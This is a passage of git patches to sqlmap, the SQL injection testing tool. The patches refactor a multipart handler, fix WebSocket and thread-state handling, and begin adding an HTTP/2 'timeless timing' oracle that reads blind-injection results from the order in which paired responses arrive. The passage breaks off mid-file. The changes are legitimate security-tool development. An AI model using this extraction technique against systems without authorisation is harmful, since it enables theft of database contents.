os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) - if not checkFile(filepath, False): - continue - with open(filepath, "rb") as f: - content = f.read() - if b'\0' not in content: - content = content.replace(b"\r\n", b"\n") - if not hashlib.sha256(content).hexdigest() == expected: - retVal &= False - break + if isGitRepository(): + try: + process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process.communicate() + if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error) + retVal = True + except Exception: + pass return retVal diff --git a/lib/core/option.py b/lib/core/option.py index b67d7e062..2456428bd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -157,7 +157,7 @@ from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.multipart import multipartpost +from lib.request.multiparthandler import MultipartPostHandler from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -173,7 +173,7 @@ keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() -multipartPostHandler = multipartpost.MultipartPostHandler() +multipartPostHandler = MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 837bcc2d4..52904bb04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.31" +VERSION = "1.10.7.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/multiparthandler.py b/lib/request/multiparthandler.py new file mode 100644 index 000000000..d0a7980d2 --- /dev/null +++ b/lib/request/multiparthandler.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import io +import mimetypes +import re + +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes +from lib.core.exception import SqlmapDataException +from thirdparty.six.moves import urllib as _urllib + +# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence +DOSEQ = True + +class MultipartPostHandler(_urllib.request.BaseHandler): + """ + urllib handler that transparently encodes a dict request body as multipart/form-data when it carries + file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically + vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on + sqlmap's own helpers, so it now lives here as a first-class request handler. + """ + + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler + + def http_request(self, request): + data = request.data + + if isinstance(data, dict): + files, variables = [], [] + + try: + for key, value in data.items(): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): + files.append((key, value)) + else: + variables.append((key, value)) + except TypeError: + raise SqlmapDataException("not a valid non-string sequence or mapping object") + + if not files: + data = _urllib.parse.urlencode(variables, DOSEQ) + else: + boundary, data = self.multipartEncode(variables, files) + request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary) + + request.data = data + + # normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235) + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + + return request + + def multipartEncode(self, variables, files, boundary=None): + boundary = boundary or choose_boundary() + buffer_ = b"" + + for key, value in variables: + if key is not None and value is not None: + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n" + + for key, fd in files: + filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] + try: + contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream" + except Exception: + # Reference: http://bugs.python.org/issue9291 + contentType = b"application/octet-stream" + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType) + fd.seek(0) + buffer_ += b"\r\n%s\r\n" % fd.read() + + buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary) + + return boundary, getBytes(buffer_) + + https_request = http_request diff --git a/sqlmap.py b/sqlmap.py index 77a67d017..a2085c4c2 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -55,7 +55,7 @@ try: from lib.core.common import banner from lib.core.common import checkPipedInput - from lib.core.common import checkSums + from lib.core.common import codeIsModified from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -282,7 +282,7 @@ def main(): print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkSums() + valid = not codeIsModified() os._exitcode = 255 diff --git a/thirdparty/multipart/__init__.py b/thirdparty/multipart/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py deleted file mode 100644 index 2f2389807..000000000 --- a/thirdparty/multipart/multipartpost.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python - -""" -02/2006 Will Holcomb - -Reference: http://odin.himinbi.org/MultipartPostHandler.py - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import io -import mimetypes -import os -import re -import stat -import sys - -from lib.core.compat import choose_boundary -from lib.core.convert import getBytes -from lib.core.exception import SqlmapDataException -from thirdparty.six.moves import urllib as _urllib - -# Controls how sequences are uncoded. If true, elements may be given -# multiple values by assigning a sequence. -doseq = True - - -class MultipartPostHandler(_urllib.request.BaseHandler): - handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first - - def http_request(self, request): - data = request.data - - if isinstance(data, dict): - v_files = [] - v_vars = [] - - try: - for(key, value) in data.items(): - if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): - v_files.append((key, value)) - else: - v_vars.append((key, value)) - except TypeError: - systype, value, traceback = sys.exc_info() - raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) - - if len(v_files) == 0: - data = _urllib.parse.urlencode(v_vars, doseq) - else: - boundary, data = self.multipart_encode(v_vars, v_files) - contenttype = "multipart/form-data; boundary=%s" % boundary - #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0): - # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") - request.add_unredirected_header("Content-Type", contenttype) - - request.data = data - - # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 - if request.data: - for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): - part = match.group(0) - if b'\r' not in part: - request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) - - return request - - def multipart_encode(self, vars, files, boundary=None, buf=None): - if boundary is None: - boundary = choose_boundary() - - if buf is None: - buf = b"" - - for (key, value) in vars: - if key is not None and value is not None: - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) - buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" - - for (key, fd) in files: - file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] - filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] - try: - contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" - except: - # Reference: http://bugs.python.org/issue9291 - contenttype = b"application/octet-stream" - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) - buf += b"Content-Type: %s\r\n" % getBytes(contenttype) - # buf += b"Content-Length: %s\r\n" % file_size - fd.seek(0) - - buf += b"\r\n%s\r\n" % fd.read() - - buf += b"--%s--\r\n\r\n" % getBytes(boundary) - buf = getBytes(buf) - - return boundary, buf - - https_request = http_request From 788c9fa1349cf0aa94de4cfc0553d75511cd68ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 18:54:26 +0200 Subject: [PATCH 140/165] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 42 ++++++++++++++++++++++-------------------- 2 files changed, 23 insertions(+), 21 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 52904bb04..d95a6369f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.32" +VERSION = "1.10.7.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ce59eae0c..f3fc14ba9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -524,31 +524,33 @@ class Connect(object): if webSocket: ws = websocket.WebSocket() - ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) - wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) - ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically - ws.send(urldecode(post or "")) + try: + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) + wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) + ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) - _page = [] + _page = [] - if kb.webSocketRecvCount is None: - while True: - try: - _page.append(ws.recv()) - if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: - warnMsg = "too large websocket response detected. Automatically trimming it" - singleTimeWarnMessage(warnMsg) + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "too large websocket response detected. Automatically trimming it" + singleTimeWarnMessage(warnMsg) + break + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) break - except websocket.WebSocketTimeoutException: - kb.webSocketRecvCount = len(_page) - break - else: - for i in xrange(max(1, kb.webSocketRecvCount)): - _page.append(ws.recv()) + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + _page.append(ws.recv()) - page = "\n".join(_page) + page = "\n".join(_page) + finally: + ws.close() - ws.close() code = ws.status status = _http_client.responses.get(code, "") From 05f81ab1919384418fdcd8f40b8a158aa6e2e66a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 19:04:33 +0200 Subject: [PATCH 141/165] Fixing the CI/CD failure --- lib/core/settings.py | 2 +- lib/request/inject.py | 16 +++++++++++----- tests/test_databases_enum.py | 6 ++++-- 3 files changed, 16 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d95a6369f..bfef1ebda 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.33" +VERSION = "1.10.7.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 416ea21aa..731a47b0c 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -424,7 +424,10 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non indices = list(indices) - savedTechnique = getTechnique() + # Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim - + # getTechnique() would fall back to kb.technique, and a None result there used to skip the restore + # entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller. + savedTechnique = getCurrentThreadData().technique if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) @@ -433,8 +436,12 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non else: return None - initTechnique(getTechnique()) - payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + try: + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + except: + setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too + raise results = [None] * len(indices) cursor = iter(xrange(len(indices))) @@ -501,8 +508,7 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non kb.partRun = savedPartRun mainThreadData.disableStdOut = savedStdOut mainThreadData.shared = savedShared - if savedTechnique is not None: - setTechnique(savedTechnique) + setTechnique(savedTechnique) # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is # re-extracted serially via the classic getValue() path - full error handling, and a persistent error diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 13cc6a54a..e31360118 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -61,7 +61,7 @@ class _BaseEnumTest(unittest.TestCase): # conf keys every test may read/write _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") def setUp(self): self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} @@ -117,6 +117,7 @@ class _BaseEnumTest(unittest.TestCase): """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" conf.direct = False conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} @@ -533,7 +534,7 @@ class TestGetProcedures(_BaseEnumTest): class _DbBase(unittest.TestCase): _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") def setUp(self): self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} @@ -588,6 +589,7 @@ class _DbBase(unittest.TestCase): def _inference(self): conf.direct = False conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} From b2a5283e9b820a553e59d279d200b69894ef70fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 7 Jul 2026 22:41:14 +0200 Subject: [PATCH 142/165] Adding some missing SQL keywords --- data/txt/keywords.txt | 2 ++ lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 36d2773ef..8a985ea41 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1633,3 +1633,5 @@ YEAR ORD MID +TOP +ROWNUM diff --git a/lib/core/settings.py b/lib/core/settings.py index bfef1ebda..169c19693 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.34" +VERSION = "1.10.7.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f46c463eba5ce66c40dfd49c767304ea69e2db4d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 01:58:36 +0200 Subject: [PATCH 143/165] Adding support for --timeless HTTP2 technique --- lib/controller/action.py | 9 + lib/core/option.py | 2 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 + lib/request/connect.py | 34 +- lib/request/http2.py | 90 +++- lib/request/timeless.py | 714 ++++++++++++++++++++++++++++++ lib/techniques/blind/inference.py | 2 +- plugins/generic/entries.py | 8 +- 10 files changed, 858 insertions(+), 7 deletions(-) create mode 100644 lib/request/timeless.py diff --git a/lib/controller/action.py b/lib/controller/action.py index 8fe73ebf5..cb38e91ce 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -31,6 +31,15 @@ def action(): if possible """ + # HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage + # the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all + # subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op + # unless '--timeless' is set and the target is usable; disengage() first clears any prior target's. + from lib.request import timeless + timeless.disengage() + if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable + timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits + # First of all we have to identify the back-end database management # system to be able to go ahead with the injection # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error diff --git a/lib/core/option.py b/lib/core/option.py index 2456428bd..920d4d95c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2330,6 +2330,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None + kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None + kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index f9db84371..93e929845 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -128,6 +128,7 @@ optDict = { "oobServer": "string", "oobToken": "string", "timeSec": "integer", + "timeless": "boolean", "uCols": "string", "uChar": "string", "uFrom": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 169c19693..800d731e2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.35" +VERSION = "1.10.7.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5a350e47a..64ac6319f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -424,6 +424,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", help="Disable the statistical model for detecting the delay") + techniques.add_argument("--timeless", dest="timeless", action="store_true", + help="Use HTTP/2 timeless timing (faster, no delay)") + techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") diff --git a/lib/request/connect.py b/lib/request/connect.py index f3fc14ba9..f148d9358 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -634,6 +634,12 @@ class Connect(object): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) + # Build-only capture: return the fully-assembled request instead of sending it, so the + # HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a + # single multiplexed pair rather than issue them as independent single-stream requests. + if kwargs.get("buildOnly"): + return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post) + if conf.http2: from lib.request.http2 import open_url as http2OpenUrl @@ -1029,7 +1035,7 @@ class Connect(object): @staticmethod @stackedmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -1039,6 +1045,10 @@ class Connect(object): if conf.direct: return direct(value, content) + # Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it, + # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. + timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None + get = None post = None cookie = None @@ -1515,6 +1525,22 @@ class Connect(object): elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) + # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector + # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 + # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and + # it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly + # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. + if timeBasedCompare and kb.get("timeless") is not None: + from lib.request.timeless import negatePayload + # Build the condition and negation requests through the SAME path (queryPage buildOnly on the + # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond + # from the already-placed uri/get/post while neg goes through fresh placement would make them + # non-corresponding and flip the order. + negValue = negatePayload(timelessOrigValue) + condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) + negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None + return kb.timeless.readBitFromSpecs(condSpec, negSpec) + if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() @@ -1592,6 +1618,12 @@ class Connect(object): finally: kb.pageCompress = popValue() + # Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request + # (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one + # multiplexed HTTP/2 pair (lib/request/timeless.py). + if buildOnly: + return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True) + if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) diff --git a/lib/request/http2.py b/lib/request/http2.py index c885f75cf..17c768068 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -453,7 +453,12 @@ class _H2Connection(object): self.usable = True ctx = ssl._create_unverified_context() ctx.set_alpn_protocols(["h2"]) - self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + raw = _connect_socket(host, port, proxy, timeout) + try: + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered + except (OSError, socket.error): + pass + self.sock = ctx.wrap_socket(raw, server_hostname=host) try: if self.sock.selected_alpn_protocol() != "h2": raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) @@ -540,6 +545,89 @@ class _H2Connection(object): break return status, resp_headers, bytes(resp_body) + def exchange_pair(self, requests, timeout): + """Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests + multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach + END_STREAM, recording the order in which they finished. Because both requests ride the same + packet on the same connection, network jitter hits them equally and cancels - only the server's + relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side + delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve. + + `requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns + (finish_order, results) where finish_order is the list of stream ids in completion order and + results maps sid -> (status, headers, body). Requires the server to process the two streams + CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe).""" + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + self.sock.settimeout(timeout) + + sids, out = [], b"" + for r in requests: + sid = self.next_sid + self.next_sid += 2 + sids.append(sid) + req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"), + (b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))] + for k, v in (r.get("headers") or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + body = r.get("body") + out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req)) + if body: + out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)) + if self.next_sid >= BIG_WINDOW: + self.usable = False + self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival + + state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids) + finish_order = [] + remaining = set(sids) + while remaining: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + self.usable = False + raise IOError("GOAWAY during timeless pair") + elif ftype == RST_STREAM and fsid in state: + self.usable = False + raise IOError("stream reset during timeless pair") + elif ftype in (HEADERS, CONTINUATION) and fsid in state: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + state[fsid]["hb"] += p + if flags & FLAG_END_HEADERS: + state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + elif ftype == DATA and fsid in state: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + state[fsid]["body"] += p + if payload: + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + + results = {} + for sid in sids: + status = None + for n, v in (state[sid]["headers"] or []): + if _tob(n) == b":status": + status = int(v); break + results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"])) + return finish_order, results + + # Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model # (one connection per host per thread) so streams never interleave across threads and time-based # measurements stay clean. diff --git a/lib/request/timeless.py b/lib/request/timeless.py new file mode 100644 index 000000000..39f496153 --- /dev/null +++ b/lib/request/timeless.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native +# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single +# TCP write and multiplexed on one connection; because they share the packet and the path, network +# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects +# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be +# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the +# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. +# +# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing +# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable +# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. + +import threading + +from lib.core.enums import DBMS +from lib.request.http2 import _H2Connection + +# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. +_engageLock = threading.Lock() + + +def buildConditionPair(condition, heavy, cheap="0"): + """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. + 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB + do the expensive 